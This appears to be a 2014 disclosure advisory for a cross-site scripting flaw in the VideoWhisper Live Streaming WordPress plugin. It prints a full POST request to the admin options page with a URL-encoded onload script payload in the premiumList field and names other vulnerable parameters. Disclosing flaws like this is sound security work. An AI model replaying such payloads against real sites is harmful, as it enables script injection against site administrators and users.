# ============================================================== # Title ...| XSS in VideoWhisper Live Streaming # Version .| 4.29.6 # Date ....| 23.02.2014 # Found ...| HauntIT Blog # Home ....| http://wordpress.org/plugins/ # ============================================================== # ============================================================== # XSS ------ POST /k/wordpress/wp-admin/options-general.php?page=videowhisper_streaming.php&tab=premium HTTP/1.1 Host: 10.149.14.62 (...) Content-Length: 310 premiumList='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&canWatchPremium=all&watchListPremium=Super+Admin%2C+Administrator%2C+Editor%2C+Author%2C+Contributor%2C+Subscriber&pLogo=1&transcoding=1&alwaysRTMP=0&pBroadcastTime=0&pWatchTime=0&timeReset=30&pCamBandwidth=65536&pCamMaxBandwidth=163840&submit=Save+Changes ------ Also vulnerable: watchListPremium, pBroadcastTime, timeReset, pCamBandwidth # ============================================================== # More @ http://HauntIT.blogspot.com # Thanks! ;) # o/